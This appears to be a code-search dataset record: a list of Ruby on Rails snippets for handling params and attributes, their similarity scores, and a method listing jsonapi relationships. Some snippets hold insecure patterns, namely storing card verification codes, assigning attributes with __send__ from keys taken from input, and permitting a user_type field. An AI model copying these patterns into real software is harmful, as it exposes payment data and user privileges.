Helpers.stringify_keys(attributes)\n\n if _attributes.include?(self.class.resource_name)\n attributes = _attributes.delete(self.class.resource_name)\n @_meta_data = _attributes\n else\n attributes = _attributes\n @_meta_data = {}\n end\n\n attributes\n end", "def attributes(new_attrs)\n @new_attrs = new_attrs.symbolize_keys\n attrs = original_attributes.merge(@new_attrs.merge({\n is_current_version: true,\n id: @record.id,\n version: @record.version + 1\n }))\n end", "def initialize( params )\n super( Parametrization.permit( params, whitelist, model_name ) )\n @params = @params.with_indifferent_access # After building the internal params hash, make it a little friendlier.\n end", "def address_record_params\n params.fetch(:address_record, {})\n end", "def assign_attributes\n entry.attributes = model_params\n end", "def to_params\n params = self.filter_attributes %w(label name type hint position required localized unique searchable)\n\n # we set the _id / _destroy attributes for embedded documents\n params[:_id] = self._id if self.persisted?\n params[:_destroy] = self._destroy if self._destroy\n\n case self.type\n when :text\n params[:text_formatting] = self.text_formatting\n when :select\n params[:raw_select_options] = self.select_options.map(&:to_params)\n when :belongs_to\n params[:class_name] = self.class_name\n when :has_many, :many_to_many\n %w(class_name inverse_of order_by ui_enabled).each do |name|\n params[name.to_sym] = self.send(name.to_sym)\n end\n end\n\n params\n end", "def dump(params)\n params = params.with_indifferent_access\n self.class.schema.each_key { |attribute| self.assign_attribute_value(attribute, params[attribute]) }\n params\n end", "def drop_extra_params!(form, params)\n form_data = form['properties']['data']['properties']\n allowed_params = form_data['attributes']['properties'].keys rescue nil\n params['data'].fetch('attributes', {}).slice!(*allowed_params) if allowed_params.present?\n end", "def preprocess_and_update(patient_params)\n process_attrs_before_write_params(patient_params)\n return self.update(patient_params)\n end", "def update_attributes(params)\n @ident = params[:ident].to_s\n @description = params[:description].to_s\n end", "def attributes= attributes\n attributes.except('id', :id).map do |key_value|\n __send__ \"#{key_value.first}=\", key_value.last\n end\n\n self.attributes\n end", "def from_join_params(params)\n self.first_name = params[:user_profile_attributes][:first_name]\n self.last_name = params[:user_profile_attributes][:last_name]\n self.card_number = params[:order][:card_number]\n self.card_verification = params[:order][:card_verification]\n self.ip_address = params[:request_ip]\n self.address = params[:user_profile_attributes][:address_street]\n self.city = params[:user_profile_attributes][:address_city]\n self.state = params[:user_profile_attributes][:address_state]\n self.zip = params[:user_profile_attributes][:address_zip]\n self.country = params[:user_profile_attributes][:address_country]\n self.amount = DEFAULT_PRICE\n self.card_expires_on = Chronic.parse(params[:order][:card_expires_on]).end_of_month rescue nil\n self.name = \"#{first_name} #{last_name}\"\n end", "def params_for(*args)\n params = super(*args)\n\n remove_keys = [:publisher_user_id, :udid, :advertising_id] - [normalized_id_attribute]\n remove_keys.each { |key| params.delete(key) }\n\n return params\n end", "def rec2attrs(rec)\n attrs = Hash.new\n @mapping.each { |mapping|\n if mapping[:action] == :ignoreCsvField || rec[mapping[:field_name]].blank?\n next\n end\n field = mapping[:name]\n if mapping[:action]\n attrs[field] = (mapping[:action].is_a?(Proc)) ? mapping[:action].call(rec[mapping[:field_name]]) : send(mapping[:action], rec[mapping[:field_name]])\n else\n attrs[field] = rec[mapping[:field_name]]\n end\n }\n attrs\n end", "def parameters\n attributes.fetch(:parameters)\n end", "def model_params\n params.\n require( :bill ).\n permit( :payee, :amount, :due_on, :note )\n end", "def record_params\n params.require(:record).permit()\n end", "def record_params\n params.require(:record).permit()\n end", "def record_params\n params.require(:record).permit(:candidate, :candidate_id, :status, :sales, :user_id,\n entries_attributes:[:user_id, :candidate_id, :client, :entry_status, :interview_day, :expected_sales, :rank])\n end", "def to_params\n attrs = Hash.new\n instance_variables.each do |ivar|\n name = ivar[1..-1]\n attrs[name.to_sym] = instance_variable_get(ivar) if respond_to? \"#{name}=\"\n end\n attrs\n end", "def define_attributes(params = nil)\n (params || @action.params).each do |name, param|\n case param[:type]\n when 'Resource'\n @resource_instances[name] = find_association(param, @params[name])\n\n # id reader\n ensure_method(:\"#{name}_id\") do\n @params[name] && @params[name][ param[:value_id].to_sym ]\n end\n\n # id writer\n ensure_method(:\"#{name}_id=\") do |id|\n @params[name] ||= {}\n @params[name][ param[:value_id].to_sym ] = id\n\n @resource_instances[name] = find_association(\n param,\n {\n param[:value_id] => id,\n :_meta => {\n resolved: false,\n # TODO: this will not work for nested resources, as they have\n # multiple IDs\n path_params: [id],\n },\n }\n )\n end\n\n # value reader\n ensure_method(name) do\n @resource_instances[name] && @resource_instances[name].resolve\n end\n\n # value writer\n ensure_method(:\"#{name}=\") do |obj|\n @params[name] ||= {}\n @params[name][ param[:value_id].to_sym ] = obj.method(param[:value_id]).call\n @params[name][ param[:value_label].to_sym ] = obj.method(param[:value_label]).call\n\n @resource_instances[name] = obj\n end\n\n else\n # reader\n ensure_method(name) { @params[name] }\n\n # writer\n ensure_method(:\"#{name}=\") { |new_val| @params[name] = new_val }\n end\n end\n end", "def attrs(obj)\n if obj.respond_to?(:map)\n records_attrs obj\n else\n record_attrs obj\n end\n end", "def to_params\n params = { action: action, controller: controller }\n params.merge!(id: id) if id\n params.merge!(records: records) if records\n params\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def untouchable_params_attributes #:nodoc:\n { :outfile_id => true }\n end", "def record_params\n params.require(:record).permit(:type_of, :rdata, :zone_id, :ttl)\n end", "def model_params\n mn = @model.model_name.singular.to_sym\n # {user: {name: \"something\", other_column_name: \"somevalue\"}}\n return {} if params[mn].blank? # to allow create for empty items\n\n # params.require(:table_name).permit(:column_name1, :column_name2, etc., array_type: [], array_type2: [])\n params.require(mn).permit(permitted_columns)\n end", "def to_params\n Hash[* @result_attributes.collect{|k| \n v = self.send(k)\n (v) ? [k,self.send(k)] : nil\n }.compact.flatten]\n end", "def activity_params\n params = self.attributes.slice('user_id', 'project_id', 'board_id',\n 'topic_id', 'whiteboard_id', 'creator_id', 'title')\n params['slug'] = activity_slug\n if self.activity_author.respond_to?(:id) and self.activity_author.id\n params['user_id'] = self.activity_author.id\n end\n if self.is_a?(Membership)\n params['user_id'] = params['creator_id']\n params['member_name'] = self.user.nicename\n end\n if self.is_a?(Invitation)\n params['project_id'] =self.invitable_id if self.invitable.is_a?(Project)\n params['board_id'] = self.invitable_id if self.invitable.is_a?(Board)\n params['invitation_email'] = self.email\n end\n if self.is_a?(Comment)\n params['comment_id'] = self.id\n end\n params.except('creator_id', 'title')\n end", "def blank_to_nil_params\n record_params.merge!(record_params){|k, v| v.blank? ? nil : v}\n end", "def initialize(params={})super(params)\n # Define accessor and query methods for each attribute.\n attrs.each do |attribute|\n self.class.send :attr_accessor, attribute\n define_attr_query attribute\n end\n\n # Set instance variables and initialize @attributes with any\n # attribute values that were passed in the params hash.\n @attributes = {}\n params.each do |k,v|\n if attrs.include? k.to_s\n send(\"#{k}=\", v)\n @attributes[k] = v\n end\n end\n end", "def user_params\n new_hash = {}\n params[:data][:attributes].each do |key, value|\n new_hash[key.to_s.gsub(\"-\",\"_\")] = value\n end\n if !params[:data][:relationships].nil?\n params[:data][:relationships].each do |key, value|\n if value[:data].kind_of?(Array)\n new_hash[(key.to_s.gsub(\"-\",\"_\").singularize) + \"_id\"] = value[:data].map {|i| i[:id]}\n else\n new_hash[(key.to_s.gsub(\"-\",\"_\").singularize) + \"_id\"] = value[:data][:id]\n end\n end\n end\n new_params = ActionController::Parameters.new(new_hash)\n new_params.permit(\n :name,\n :email,\n :user_type,\n :user_id,\n :books_id,\n :password\n )\n end", "def assign_params_to_attributes\n params[:profile][:pets] = params[:profile][:pets].join(\", \") if params[:profile][:pets]\n params[:profile][:fetish] = params[:profile][:fetish].join(\", \") if params[:profile][:fetish]\n params[:profile][:favorite_sports] = params[:profile][:favorite_sports].join(\", \") if params[:profile][:favorite_sports]\n params[:profile][:favorite_clubs] = params[:profile][:favorite_clubs].join(\", \") if params[:profile][:favorite_clubs]\n params[:profile][:sexual_activity] = params[:profile][:sexual_activity].join(\", \") if params[:profile][:sexual_activity]\n params[:profile][:favorite_food] = params[:profile][:favorite_food].join(\", \") if params[:profile][:favorite_food]\n # params[:profile][:languages_spoken] = params[:profile][:languages_spoken].join(\", \") if params[:profile][:languages_spoken]\n params[:profile][:favorite_music] = params[:profile][:favorite_music].join(\", \") if params[:profile][:favorite_music]\n # params[:profile][:favorite_movies] = params[:profile][:favorite_movies].join(\", \") if params[:profile][:favorite_movies]\n params[:profile][:favorite_avtivity] = params[:profile][:favorite_avtivity].join(\", \") if params[:profile][:favorite_avtivity]\n params[:profile][:interests] = params[:profile][:interests].join(\", \") if params[:profile][:interests]\n if params[:height_in] == 'Inches'\n params[:profile][:height_units] = 'Inches'\n params[:profile][:height] = inches_to_cm(params[:height_feets]+\".\"+params[:height_inches])\n else\n params[:profile][:height_units] = 'Centimeters'\n params[:profile][:height] = params[:height_cm]\n end\n end", "def attributes_for(params)\n if params.kind_of?(Hash)\n attrs = OpenStruct.new\n attrs.refresh_token = params[:refresh_token] || params['refresh_token']\n attrs.access_token = params[:access_token] || params['token']\n attrs.expires_at = params[:expires_at] || params['expires_at']\n\n params = attrs\n end\n params\n end", "def record_params\n params.require(:record).permit(:user_id, :calc_type, :link_token, :calc_data)\n end", "def detail_attributes\n @detail_attributes ||= {}\n end", "def file_record_params\n params.fetch(:file_record, {})\n end", "def load_attributes(attributes)\n @id = attributes[:id]\n @name = attributes[:name]\n @main_url = attributes[:main_url] ? attributes[:main_url].gsub(/\\/$/, '') : nil\n @created_at = attributes[:created_at]\n end", "def attributes(requested_attrs = nil, reload = false)\n @attributes = nil if reload\n @attributes ||= self.class._attributes_data.each_with_object({}) do |(key, attr), hash|\n next if attr.excluded?(self)\n next unless requested_attrs.nil? || requested_attrs.include?(key)\n hash[key] = attr.value(self)\n end\n end", "def update_form(params)\n params.reject do |key, _value|\n attribute_parameter?(key)\n end.each do |key, value|\n self[key.to_sym] = SmartAttributes::AttributeFactory.build(key, default_attributes(key)) if self[key.to_sym].nil?\n self[key.to_sym].value = value\n end\n end", "def attributes\n attrs = super\n if attrs['user'] && attrs['user']['id']\n attrs.merge!('user_id' => attrs['user']['id'])\n attrs.delete 'user'\n end\n attrs\n end", "def attr_params\n params[:attr].permit(:name, :type, :value, :foreign_key, :ordinal, :group, :visible, :editable, :required, :input)\n end", "def resolve_values_from_attributes(record)\n attributes.map do |attr|\n if attr.to_s.include?(\".\")\n self.get_assoc_value(record, attr)\n else\n record.send(attr.to_sym)\n end\n end\n end", "def record_params\n params.require(:record).permit(:date_text, :record_type, :product_text, :weight, :count, :user_id, :participant_text, :order_number, :employee_text, :client_text, :created_at, :updated_at)\n end", "def params\n original = super\n if original.to_unsafe_h.with_indifferent_access != request.params.with_indifferent_access\n ActionController::Parameters.new(request.params.with_indifferent_access)\n else\n original\n end\n end", "def valid_attributes\n hash = @time_record.attributes.reject {|k,v| %w{id user_id pay_period_id created_at updated_at}.include?(k)}\n end" ]
[ "0.7486855", "0.6946592", "0.6885563", "0.6698446", "0.6524357", "0.6518761", "0.64951533", "0.64762795", "0.6447371", "0.6364642", "0.6358458", "0.6346856", "0.6346856", "0.6323023", "0.6285026", "0.6274631", "0.62548524", "0.62473744", "0.622997", "0.622828", "0.62081575", "0.62009317", "0.6118049", "0.6077978", "0.6062807", "0.60585475", "0.6053134", "0.603905", "0.60308146", "0.6025168", "0.60246354", "0.59819084", "0.59693176", "0.59693176", "0.59551096", "0.5954728", "0.59530306", "0.5932521", "0.59289557", "0.5921606", "0.5917402", "0.5916574", "0.5910844", "0.59099674", "0.5903515", "0.5902472", "0.58831215", "0.58724034", "0.58719134", "0.58652514", "0.58543855", "0.5847495", "0.5842898", "0.584151", "0.58410436", "0.5833275", "0.5833021", "0.5829187", "0.58287317", "0.5817763", "0.5805661", "0.5804516", "0.5798186", "0.57911015", "0.576254", "0.5759201", "0.5755246", "0.57537425", "0.575066", "0.57500154", "0.574402", "0.574402", "0.5741641", "0.57354826", "0.57349247", "0.5723446", "0.5722658", "0.5716778", "0.57157326", "0.57057905", "0.56931496", "0.56916493", "0.5691345", "0.56817245", "0.5679095", "0.56782585", "0.56757146", "0.5671447", "0.5658363", "0.5657514", "0.565601", "0.5655197", "0.56505066", "0.5647581", "0.5644106", "0.56382436", "0.5624368", "0.5621904", "0.5615832", "0.56146795" ]
0.603932
27
Definitions of all relationships for current model
def jsonapi_relationships jsonapi_model_class.reflect_on_all_associations.collect do |association| #type = nil type = :to_one if [ ActiveRecord::Reflection::HasOneReflection, ActiveRecord::Reflection::BelongsToReflection ].include? association.class type = :to_many if [ ActiveRecord::Reflection::HasManyReflection, ActiveRecord::Reflection::HasAndBelongsToManyReflection ].include? association.class next unless type { name: association.name, type: type, receiver: { type: association.klass.to_s.underscore.pluralize.to_sym, class: association.klass.to_s.constantize } } end.compact end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def model_relationships; end", "def relationships\n model.relationships(repository.name)\n end", "def relationships\n @relationships ||= {}\n end", "def relationships\n @relationships ||= Relationship.from_associations(self, associations)\n end", "def model_relationships\n hash = ActiveSupport::OrderedHash.new\n reflect_on_all_associations.map { |i| hash[i.name] = i.macro }\n return hash\n end", "def list_relationships\n end", "def gen_relationships\n @parser.relationships.each do |rel|\n through_str = ''\n lines = []\n if rel[:has_relationship]\n has_relationship = rel[:has_relationship].gsub(':', '..')\n case has_relationship\n when '1'\n rel_str = 'belongs_to'\n when 'n'\n rel_str = \"has n,\"\n else\n rel_str = \"has #{has_relationship},\"\n if rel[:through]\n through_str = \", :through => :#{rel[:through]}\"\n else\n through_str = \", :through => Resource\"\n end\n end\n \n if rel[:through]\n lines << \" has n, :#{rel[:through]}\"\n end\n line = \" #{rel_str} :#{rel[:variable]}#{through_str}\"\n line += \" # #{rel[:comment]}\" unless rel[:comment].empty?\n lines << line\n elsif rel[:relationship]\n lines << ' ' + rel[:relationship]\n end\n editor = ModelEditor.new(rel[:filename].snake_case)\n editor.insert(AFTER_PROPERTIES, lines)\n end\n end", "def relations\n self.class.relations\n end", "def relationships_for(model) # @private :nodoc:\n relationships_mapping[model] or []\n end", "def associations\n model.relationships.to_a.collect { |name,rel|\n {\n :name => name.to_s,\n :type => association_type_lookup( rel ), # :has_many, :has_one, or :belongs_to\n :parent_model => rel.parent_model,\n :parent_key => rel.parent_key.collect { |p| p.name },\n :child_model => rel.child_model,\n :child_key => rel.child_key.collect { |p| p.name },\n :remote_rel => rel.options[:remote_relationship_name],\n :near_rel => rel.options[:near_relationship_name]\n }\n }\n end", "def associations; end", "def define_relationship(opts)\n [:name, :contains_references_to_types].each do |p|\n opts[p] or raise \"No #{p} given\"\n end\n\n base = self\n\n ArchivesSpaceService.loaded_hook do\n # We hold off actually setting anything up until all models have been\n # loaded, since our relationships may need to reference a model that\n # hasn't been loaded yet.\n #\n # This is also why the :contains_references_to_types property is a proc\n # instead of a regular array--we don't want to blow up with a NameError\n # if the model hasn't been loaded yet.\n\n\n related_models = opts[:contains_references_to_types].call\n\n clz = Class.new(AbstractRelationship) do\n table = \"#{opts[:name]}_rlshp\".intern\n set_dataset(table)\n set_primary_key(:id)\n\n if !self.db.table_exists?(self.table_name)\n Log.warn(\"Table doesn't exist: #{self.table_name}\")\n end\n\n set_participating_models([base, *related_models].uniq)\n set_json_property(opts[:json_property])\n set_wants_array(opts[:is_array].nil? || opts[:is_array])\n end\n\n opts[:class_callback].call(clz) if opts[:class_callback]\n\n @relationships[opts[:name]] = clz\n\n related_models.each do |model|\n model.include(Relationships)\n model.add_relationship_dependency(opts[:name], base)\n end\n\n # Give the new relationship class a name to help with debugging\n # Example: Relationships::ResourceSubject\n Relationships.const_set(self.name + opts[:name].to_s.camelize, clz)\n\n end\n end", "def relationships\n r = Relationships.new\n r << Relationship.new(cache_definition, PIVOT_TABLE_CACHE_DEFINITION_R, \"../#{cache_definition.pn}\")\n r\n end", "def relationships\n return [] if empty?\n\n map { |table| Relationship.new(table, TABLE_R, \"../#{table.pn}\") }\n end", "def relation_all(model)\n validate_model(model)\n model.all\n end", "def relations\n @relations ||= process_rels\n end", "def relations\n @relations ||= {}\n end", "def enable_relationships\n self.items.each do |_, content_type|\n content_type.fields.find_all(&:is_relationship?).each do |field|\n # look for the target content type from its slug\n field.class_name = field.class_slug\n field.klass = self.items[field.class_slug]\n end\n end\n end", "def relations\n _relations\n end", "def relations\n _relations\n end", "def initialize_relationships\n @mappers.each do |mapper|\n @relationships.merge(mapper.relationships.find_dependent(@model))\n end\n\n @relationships.freeze\n end", "def scaffold_all_associations\n relationships.values.select { |v|\n v.send(:target_model).respond_to?(:scaffold_name)\n }\n end", "def relationships\n return [] if empty?\n\n map { |pivot_table| Relationship.new(pivot_table, PIVOT_TABLE_R, \"../#{pivot_table.pn}\") }\n end", "def relations \n @roots = Category.roots \n @categories = Category.has_children \n @expense_types = ExpenseType.all\n @payment_methods = PaymentMethod.all\n end", "def relationships\n r = Relationships.new\n @worksheets.each do |sheet|\n r << Relationship.new(sheet, WORKSHEET_R, format(WORKSHEET_PN, r.size + 1))\n end\n pivot_tables.each_with_index do |pivot_table, index|\n r << Relationship.new(pivot_table.cache_definition, PIVOT_TABLE_CACHE_DEFINITION_R, format(PIVOT_TABLE_CACHE_DEFINITION_PN, index + 1))\n end\n r << Relationship.new(self, STYLES_R, STYLES_PN)\n if use_shared_strings\n r << Relationship.new(self, SHARED_STRINGS_R, SHARED_STRINGS_PN)\n end\n r\n end", "def all\n @data_adapter.relations\n end", "def each_relationship\n return enum_for(__method__) unless block_given?\n\n each_model do |model|\n each_relationship_for(model) do |relationship|\n yield relationship, model\n end\n end\n end", "def setup_associations; end", "def each_relationship_for(model)\n # XXX: in dm-core 1.1.0, `Model#relationships` returns a\n # `DataMapper::RelationshipSet`, instead of a `Mash`, which does\n # not provide the `each_value` method.\n model.relationships.each do |args|\n relationship = case args\n when Array then args.last\n else args\n end\n\n unless relationship.respond_to?(:through)\n yield relationship\n end\n end\n end", "def related_attrs\n relationship = flex_options[:relationship_name]\n send relationship\n end", "def relations_info\n self::RELATIONS_INFO\n end", "def associations\n # is caching ok?\n unless @associations\n @associations = {}\n klass.relations.each{|name,association|\n @associations[name.to_s] = Association.new(association,self)\n }\n end\n @associations\n end", "def infer_relations_relations\n datasets.each do |gateway, schema|\n schema.each do |name|\n if infer_relation?(gateway, name)\n klass = Relation.build_class(name, adapter: adapter_for(gateway))\n klass.gateway(gateway)\n klass.dataset(name)\n else\n next\n end\n end\n end\n end", "def relationships\n [Relationship.new(self, VML_DRAWING_R, \"../#{vml_drawing.pn}\"),\n Relationship.new(self, COMMENT_R, \"../#{pn}\")]\n end", "def associations; self.class.class_eval(\"@@associations\") end", "def all_related_models\n via_assay = related_assays.collect do |assay|\n assay.model_masters\n end.flatten.uniq.compact\n via_assay | related_models\n end", "def associations\r\n [nil, joins]\r\n end", "def relationships\n return [] unless has_comments?\n\n comments.relationships\n end", "def reflections_for(main, rel)\n main.class\n .reflect_on_all_associations\n .select { |r| r.macro == rel && r.options[:through].nil? }\n end", "def has_many_relations\n remap_relations(relations_by_macro(:has_many))\n end", "def model_associations\n @model_associations ||= Prepares.model_associations\n end", "def all\n ref = Neo4j.instance.ref_node\n ref.relations.outgoing(root_class)\n end", "def map_relations\n self.resource_relations = {}\n model.alchemy_resource_relations.each do |name, options|\n relation_name = name.to_s.gsub(/_id$/, \"\") # ensure that we don't have an id\n association = association_from_relation_name(relation_name)\n foreign_key = association.options[:foreign_key] || \"#{association.name}_id\".to_sym\n collection = options[:collection] || resource_relation_class(association).all\n resource_relations[foreign_key] = options.merge(\n model_association: association,\n name: relation_name,\n collection: collection\n )\n end\n end", "def relationship_links(source)\n {}\n end", "def add_relationship(rel_attr); end", "def many_to_one_relationships\n relationships unless @relationships # needs to be initialized!\n @relationships.values.collect do |rels| rels.values end.flatten.select do |relationship| relationship.child_model == self end\n end", "def associations\n @associations ||= {}\n end", "def each_relation\n\t for rel in relations\n\t\tyield(rel)\n\t end\n\tend", "def get_relations_from_api(api=Rosemary::API.new)\n api.get_relations_referring_to_object(type, self.id.to_i)\n end", "def relationship(sym)\n self.class.relationship(sym)\n end", "def associations\n @associations ||= {}.with_indifferent_access\n end", "def relation\n relation = nodes.reduce(root) do |a, e|\n a.associations[e.name.key].join(:join, a, e)\n end\n schema.(relation)\n end", "def configure_relation\n end", "def generate_embedded_relations\n translation.embed_tables.each do |table|\n extract_embedded_relations(table)\n end\n end", "def child_relation; end", "def belongs_to_relations(ar_instance)\n\t\t\tcolumns = ar_instance.class.column_names\n\t\t\tparents = columns.map{ |c| c if c =~ /_id/ }.reject{ |c| c.nil? }\n\t\t\tparents.map!{ |parents| parents.gsub('_id', '') }\n\t\tend", "def link!\n base = ::ActiveRecord::Associations::ClassMethods::JoinDependency.new(\n @model, [], nil\n )\n \n @fields.each { |field|\n field.model ||= @model\n field.columns.each { |col|\n field.associations[col] = associations(col.__stack.clone)\n field.associations[col].each { |assoc| assoc.join_to(base) }\n }\n }\n \n @attributes.each { |attribute|\n attribute.model ||= @model\n attribute.columns.each { |col|\n attribute.associations[col] = associations(col.__stack.clone)\n attribute.associations[col].each { |assoc| assoc.join_to(base) }\n }\n }\n end", "def initialize(_, context = Ramom::Schema::Definition::Context.new)\n super\n infer_base_relations\n end", "def belongs_to_list(rel_type, params = {})\n decl_relationships[rel_type] = Neo4j::Relationships::DeclRelationshipDsl.new(rel_type, params)\n end", "def all_associations\n @all_associations ||= (\n # field associations\n @fields.collect { |field|\n field.associations.values\n }.flatten +\n # attribute associations\n @attributes.collect { |attrib|\n attrib.associations.values\n }.flatten\n ).uniq.collect { |assoc|\n # get ancestors as well as column-level associations\n assoc.ancestors\n }.flatten.uniq\n end", "def reflect_on_all_associations(*macros)\n relations.values.select { |meta| macros.include?(meta.macro) }\n end", "def rels\n @traversal_result = :rels\n self\n end", "def relationships\n @relationships.each do |k, v|\n if v.respond_to?(:uniq!)\n v.uniq!\n @relationships[k] = v.first if v.length == 1\n end\n end\n @relationships\n end", "def visible_relations \n\t\t\tif defined? @visible_relations \n\t\t\t\t@visible_relations\n\t\t\telse\n\t\t\t\tassociation_helper_models = []\n\t\t\t\t# find \n\t\t\t\tself.reflections.keys.each do |key|\n\t\t\t\t\tif self.reflections[key].class == ActiveRecord::Reflection::ThroughReflection\n\t\t\t\t\t\tassociation_helper_models.push self.reflections[key].options[:through]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tkeys = self.reflections.keys.map do |key| key.to_sym end\n keys - association_helper_models\n\t\t\tend\n\t\tend", "def association_paths\n @engine_association_paths ||= get_model_association_paths\n engine_association_paths.dup\n end", "def relationship( name, &block )\n require_identifier!\n return if context.linkage_only?\n\n include_or_mark_partial name do\n builder = RelationshipBuilder.new( context )\n yield builder\n\n relationships = ( output[:relationships] ||= {} )\n relationships[ name.to_sym ] = builder.compile\n end\n end", "def relationships_with_name(input, name)\n input.relations(name)\n end", "def get_relations_referring_to_object(type, id)\n api_call_with_type(type, id, \"#{type}/#{id}/relations\")\n end", "def rels\n @rels ||= root.data._rels\n end", "def register_relation(*klasses)\n klasses.each do |klass|\n register_constant(:relations, klass)\n end\n\n components.relations\n end", "def finalize_associations!(relations:)\n super do\n associations.map do |definition|\n Memory::Associations.const_get(definition.type).new(definition, relations)\n end\n end\n end", "def related_models\n via_assay = assays.collect(&:models).flatten.uniq.compact\n via_assay | models\n end", "def manual_relations(ar_instance)\n\t\t\tcase ar_instance.class.name\n\t\t\twhen 'Order'\n\t\t\t\t[:account_transactions, :billed_rates, :originator, {:customer => :rules},{:items => :originators}, {:order_status_transactions => :user}, {:order_items => :originator}]\n\t\t\twhen 'Shipnotice','ConsumerReturn'\n\t\t\t\t[{:shipnotice_items => :allocations}]\n\t\t\telse\n\t\t\t\t[]\n\t\t\tend\n\t\tend", "def initialize(*)\n super\n @relations = {}\n end", "def relationship(sym)\n if @relationships\n @relationships[sym]\n else\n self.class.relationship(sym)\n end\n end", "def rels(node)\n @batch_inserter.getRelationships(node)\n end", "def requested_relationships(fields)\n @_relationships.select do |k, _|\n _conditionally_included?(self.class.relationship_condition_blocks, k)\n end\n end", "def relations\n return @relations if defined?(@relations)\n\n relations = injected_options.fetch(:relations, nil)\n relations = allowed_options.fetch(:relations, []) if relations.nil?\n\n @relations = Relations.new(relations, includes)\n end", "def associations_scope\n model_class_name.constantize.all\n end", "def associations_scope\n model_class_name.constantize.all\n end", "def register_relation(*klasses, **opts)\n klasses.each do |klass|\n components.add(:relations, constant: klass, **opts)\n end\n\n components.relations\n end", "def macro\n :belongs_to_related\n end", "def associations_foreigns\n _reflections.map do |_, reflection|\n cols = [reflection.foreign_key]\n cols << reflection.foreign_type if reflection.polymorphic?\n cols\n end.flatten\n end", "def find_relations\n sql = <<-eos\n SELECT\n tc.constraint_name, tc.table_name, kcu.column_name,\n ccu.table_name AS foreign_table_name,\n ccu.column_name AS foreign_column_name\n FROM\n information_schema.table_constraints AS tc\n JOIN information_schema.key_column_usage AS kcu ON tc.constraint_name = kcu.constraint_name\n JOIN information_schema.constraint_column_usage AS ccu ON ccu.constraint_name = tc.constraint_name\n WHERE constraint_type = 'FOREIGN KEY'\n eos\n @relations = @connection.exec(sql).values\n end", "def rels(*rel_types)\n if rel_types.empty?\n AllRelsDsl.new(@_relationships, _java_node)\n else\n storage = _create_or_get_storage(rel_types.first)\n RelsDSL.new(storage)\n end\n end", "def associations\n association_reflections.keys\n end", "def parameterized_relationships\n @parameterized_relationships || OpenStruct.new(representations_for: [],\n documents_for: [],\n attachment_uris: [],\n attachments_for: [],\n constituent_of_uris: [],\n has_constituent_part: [])\n end", "def relations\n Relations::RelationTraverser.new(@internal_node)\n end", "def persist_collection_relationships(record)\n record.class.reflect_on_all_associations\n .select { |ref| ref.collection? && !ref.through_reflection && record.association(ref.name).any? }\n .map do |ref|\n [\n ref.has_inverse? ? ref.inverse_of.name : ref.options[:as],\n record.association(ref.name).target\n ]\n end\n .to_h.each do |name, targets|\n targets.each { |t| t.update name => record }\n end\n end", "def scaffold_associations\n @scaffold_associations ||= relationships.keys.select { |v|\n relationships[v].send(:target_model).respond_to?(:scaffold_name)\n }.sort_by{|name| name.to_s}\n end", "def associations\n @associations ||= [].tap do |fields|\n @model.reflect_on_all_associations.each do |association|\n fields << resolve(association.macro, association.name)\n end\n end\n end", "def get_relationships_of_type(type)\n g_command = get_command(type)\n relationships = self.send(g_command.to_sym)\n end", "def resolve!\n @relations.map(&:resolve!)\n end", "def my_relationships(name)\n self.class.find_relationship(name).find_by_participant(self)\n end", "def each(&block)\n return to_enum unless block_given?\n @relationships.each(&block)\n self\n end", "def child_ontology_relationships(options = {}) # :yields: Array of OntologyRelationships\n opt = {\n :relationship_type => 'all' # or a ObjectRelationships#id\n }.merge!(options.symbolize_keys)\n\n # TODO: modify to sort by first(top) label\n if opt[:relationship_type] == 'all'\n OntologyRelationship.find(:all, :include => [:ontology_class1, :object_relationship, :ontology_class2], :conditions => ['ontology_class2_id = ?', self.id]) # .sort{|x,y| x.ontology_class1.preferred_label.name <=> y.ontology_class1.preferred_label.name}\n else\n OntologyRelationship.find(:all, :include => [:ontology_class1, :object_relationship, :ontology_class2], :conditions => ['ontology_class2_id = ? AND object_relationship_id = ?', self.id, opt[:relationship_type]]) # .sort{|x,y| x.ontology_class1.preferred_label.name <=> y.ontology_class1.preferred_label.name}\n end\n end", "def relations=(links = nil)\n @relations = if links\n Relation.from(links).inject(@relations || {}) do |map, rel|\n map.update rel.name => rel.merge(@schema, @schema.all)\n end\n else\n {}\n end\n end", "def relationship_custom_fields\n custom_fields_recipe['rules'].find_all do |rule|\n %w[belongs_to has_many many_to_many].include?(rule['type'])\n end\n end", "def attr_associations\n @attr_associations\n end", "def associations\n data[:associations]\n end" ]
[ "0.7922789", "0.7609743", "0.7392979", "0.7354207", "0.7164474", "0.7125121", "0.7070261", "0.7008933", "0.69293964", "0.6872604", "0.68301046", "0.6769796", "0.6726882", "0.670048", "0.66647995", "0.6662626", "0.66212416", "0.65982074", "0.65921783", "0.65921783", "0.65348536", "0.64766014", "0.6472422", "0.6467655", "0.6448856", "0.6419853", "0.64127403", "0.63557804", "0.63473445", "0.63411504", "0.63017505", "0.6290127", "0.6258514", "0.62231195", "0.6188481", "0.6172995", "0.6167615", "0.6153106", "0.6142962", "0.6142028", "0.6136395", "0.61259574", "0.61231816", "0.61053234", "0.6098115", "0.6077007", "0.60682875", "0.6061848", "0.6053132", "0.6033045", "0.60201436", "0.6013787", "0.60123605", "0.5984144", "0.5981192", "0.5980897", "0.5953258", "0.59524894", "0.5944391", "0.5944376", "0.59406155", "0.59287643", "0.5922885", "0.59152967", "0.59145033", "0.5914377", "0.5885428", "0.5880378", "0.5867258", "0.58468884", "0.5845709", "0.58440477", "0.58414316", "0.5831018", "0.5814058", "0.58114785", "0.57594174", "0.5752116", "0.5751415", "0.5751415", "0.5744453", "0.57331693", "0.5724657", "0.5724269", "0.5722898", "0.5722881", "0.572109", "0.5721062", "0.5695036", "0.56915236", "0.56904936", "0.5682088", "0.5675336", "0.56716835", "0.56692463", "0.56682557", "0.56608266", "0.5650223", "0.5645025", "0.56291676" ]
0.7061004
7
TODO: define a separate method for relationship actions (i.e. when params[:relationship] != nil)
